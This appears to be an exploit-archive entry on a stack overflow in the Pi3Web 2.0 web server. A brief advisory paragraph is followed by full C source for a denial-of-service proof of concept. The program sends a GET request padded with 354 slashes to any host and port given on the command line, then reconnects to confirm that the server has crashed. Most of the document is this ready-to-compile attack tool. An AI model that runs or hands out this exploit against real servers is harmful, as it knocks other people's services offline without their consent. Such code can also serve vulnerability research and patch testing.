John Roy Pi3Web 2.0 For Windows - Remote Buffer Overflow

// source: https://www.securityfocus.com/bid/3866/info

John Roy Pi3Web is a standard web server which includes CGI and ISAPI support. Pi3Web uses multithreading to handle system requests. Pi3Web is available for Windows, Linux and Solaris.

Due to a buffer overflow vulnerability in John Roy Pi3Web web server, it is possbile for an attacker to cause the server to stop responding and possibly execute code.

Reportedly the problem is due to the CGI parameter's handling of unusually crafted requests. 

/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
*		when a malformed HTTP Request is done the webserver hangs due to an stack overflow.
* 		GET /////////..[354]../////////
*
* Found by aT4r@3wdesign.es  04/26/2003
* Copyright (c) 2003 www.3wdesign.es Security
* THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES.
* USE IT AT YOUR OWN RISK.
*
* #haxorcitos @ efnet Rocks!!!
* Feel The p0wer of aT4r, Drakar, [Back], |tyr|, Tarako, croulder
* Compiled with: lcc-win32 v3.3.
*
*/
#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;


int isalive(int OPT)
{
	struct sockaddr_in haxorcitos;
	int fd;

	haxorcitos.sin_port = htons(port);
	haxorcitos.sin_family = AF_INET;
	haxorcitos.sin_addr.s_addr = inet_addr(ip);

	if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
	{
		printf(" [-] Unable to Create Socket\n\n");
		return(0);
	}
	if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
	{
		if (OPT==0)
			printf(" [+] Exploit Success. Remote webserver shutdown\n");
		else
			printf(" [-] Unable to connect\n\n");
		return(0);
	}
	if (OPT==0)
	{
		printf(" [-] Exploit Failed. System Patched?\n\n");
	}
	else
	{
		send(fd,evilbuffer, strlen(evilbuffer),0);
		printf(" [+] Data Sent. Now Checking Host\n");
		closesocket(fd);

	}
return(1);
}


void usage(void)
{
	printf(" [+] Usage: PiDoS.exe HOST [port]\n\n");	exit(1);
}


void main(int argc,char *argv[])
{
	WSADATA ws;

	if	(WSAStartup( MAKEWORD(1,1), &ws )!=0)
	{
		printf(" [+] WSAStartup() error\n");
		exit(0);
	}

	printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :... 
..\n\n");

	if ((argc!=2) && (argc!=3))
		usage();

	strcpy(ip,argv[1]);
	if (argc==3) port=atoi(argv[2]);

	memset(evilrequest,0,512);
	memset(evilbuffer,0,1024);
	memset(evilrequest,'/',354);
	//sprintf(evilbuffer, "GET %s\r\n",evilrequest);
	sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

	if (isalive(1))
		{ sleep(1000); isalive(0);}

}